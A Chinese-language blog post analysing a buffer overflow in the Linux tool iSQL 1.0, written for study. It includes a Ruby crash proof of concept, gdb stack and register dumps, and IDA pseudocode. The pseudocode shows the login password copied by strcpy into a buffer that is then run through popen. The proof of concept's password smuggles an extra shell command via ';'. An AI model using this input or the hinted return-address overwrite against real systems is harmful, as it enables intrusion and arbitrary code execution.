作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
软件下载:
https://www.exploit-db.com/apps/56f39bcde969b1eaed2f3c3ed918cd9c-iSQL-master.zip
PoC:
puts "iSQL 1.0 - Buffer Overflow"
puts " - by hahwul"
puts " - Run BUG.."
buffer = "A"*800
system("(sleep 5; echo -en 'hwul\n';sleep 1;echo -en 'asdf;#{buffer};echo 1';sleep 10) | ./isql")
调试环境:
Linux kali 2.0
漏洞复现
iSQL是linux下的一款SQL管理工具,用于管理处理数据库,在iSQL处理登陆请求的时候,由于对于Password传入长度没有进行控制,而是直接执行字符串拷贝操作,从而导致了缓冲区溢出,通过控制返回地址可以达到任意代码执行的效果,下面对此漏洞进行详细分析。
首先连接isql,并且登陆,正常登陆的情况下。
*************** welcome to ISQL ****************
* version 1.0 *
* Designed by RL *
* Copyright (c) 2011, RL. All rights reserved *
************************************************
>username:aa
>password:aa
verify failure , try again !
>username:admin
>password:admin
hi,admin
在登录时,发送畸形数据Password,产生Segmentation default错误
>username:test
>password:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
这时候回溯一下堆栈调用情况。
(gdb) bt
#0 0x00000000004069ba in get_MD5 ()
#1 0x4141414141414141 in ?? ()
#2 0x4141414141414141 in ?? ()
#3 0x4141414141414141 in ?? ()
#4 0x4141414141414141 in ?? ()
发现此时堆栈已经被畸形数据破坏,可见是缓冲区覆盖造成的这种情况,直接观察当前地址。
0x00000000004069ad <+205>: mov %rax,%rdi
0x00000000004069b0 <+208>: callq 0x400ca0 <fread@plt>
0x00000000004069b5 <+213>: mov -0x8(%rbp),%rax
0x00000000004069b9 <+217>: leaveq
=> 0x00000000004069ba <+218>: retq
正处于某个返回地址,可见是返回地址被覆盖,造成的segmentation default错误,接下来对此漏洞进行详细分析。
漏洞分析
通过gdb下的disassemble命令查看反汇编代码,可以看到之前提到的ret指令的返回地址所处的函数入口。
(gdb) disassemble
Dump of assembler code for function get_MD5:
0x00000000004068e0 <+0>: push %rbp
0x00000000004068e1 <+1>: mov %rsp,%rbp
0x00000000004068e4 <+4>: sub $0x90,%rsp
在入口4068e0位置下断点,重新连接iSQL,触发漏洞,命中断点。
Breakpoint 1, 0x00000000004068e0 in get_MD5 ()
(gdb) x/10x $rsp
0x7fffffffe218: 0x00407211 0x00000000 0x41414141 0x41414141
0x7fffffffe228: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe238: 0x41414141 0x41414141
可以看到,现在畸形字符串已经传入了,查看一下寄存器中的情况。
(gdb) info registers
rax 0x7fffffffe220 140737488347680
rbx 0x0 0
rcx 0x7ffff7ff3321 140737354085153
rdx 0x7ffff7ad2980 140737348708736
rsi 0x1 1
rdi 0x7fffffffe220 140737488347680
rbp 0x7fffffffe290 0x7fffffffe290
rsp 0x7fffffffe218 0x7fffffffe218
注意rdi的值,这里必须提一下,我现在在三个白帽出题,正好接触了x86和x64的不同,其中最大的一个不同是x64是通过寄存器保存参数的,其中,第一个参数就保存在rdi寄存器中。
直接查看一下rdi寄存器中的值。
(gdb) x/10x $rdi
0x7fffffffe220: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe230: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe240: 0x41414141 0x41414141
已经是畸形字符串了,接下来单步跟踪,发现了一处非常关键的拷贝操作。strcpy。
Breakpoint 1, 0x0000000000406951 in get_MD5 ()
(gdb) x/16x $rsp
0x7fffffffe180: 0x00000000 0x00000000 0xffffe220 0x00007fff
命中后可以看到,待拷贝的内容就是rdi,也就是畸形字符串,接下来执行拷贝结束后,观察一下栈内情况。
(gdb) x/100x $rsp
0x7fffffffe180: 0x00000000 0x00000000 0xffffe220 0x00007fff
0x7fffffffe190: 0x6f686365 0x41414120 0x41414141 0x41414141
0x7fffffffe1a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe1f0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe200: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe210: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe220: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe230: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe240: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffe250: 0x41414141 0x41414141 0x41414141 0x41414141
已经被畸形字符串覆盖,通过IDA查看一下伪代码。
void *__fastcall get_MD5(const char *a1)
{
char *v1; // rax@1
char command[112]; // [sp+10h] [bp-80h]@1
signed __int16 v4; // [sp+14h] [bp-7Ch]@1
FILE *stream; // [sp+80h] [bp-10h]@1
void *s; // [sp+88h] [bp-8h]@1
s = malloc(0x21uLL);
memset(s, 0, 8uLL);
memset(command, 0, 0x64uLL);
*(_DWORD *)command = 1869112165;
v4 = 32;
strcpy((char *)&v4 + 1, a1);
v1 = &command[strlen(a1) + 5];
*(_QWORD *)v1 = 8463166830203141152LL;
*((_WORD *)v1 + 4) = 109;
stream = popen(command, "r");
fread(s, 1uLL, 0x20uLL, stream);
return s;
}
*a1作为密码指针传入,在strcpy被调用,从而导致缓冲区溢出,get_MD5应该是将password转换成MD5格式,接下来看一下main函数的调用。
char username[32];
char passwd[32];
while (USER_NUM==-1){
printf(">username:");
scanf("%s",username);
printf(">password:");
scanf("%s",passwd);
md5=get_MD5(passwd);
可见,在输入password的时候,并没有对password长度进行控制,而是直接写入指针,之后指针传入get_MD5进行操作,从而导致了缓冲区溢出,通过覆盖返回地址,或者用ret2libc,可以导致任意代码执行。
编译之后运行,直接segment fault了
@Python4 找到解决办法了吗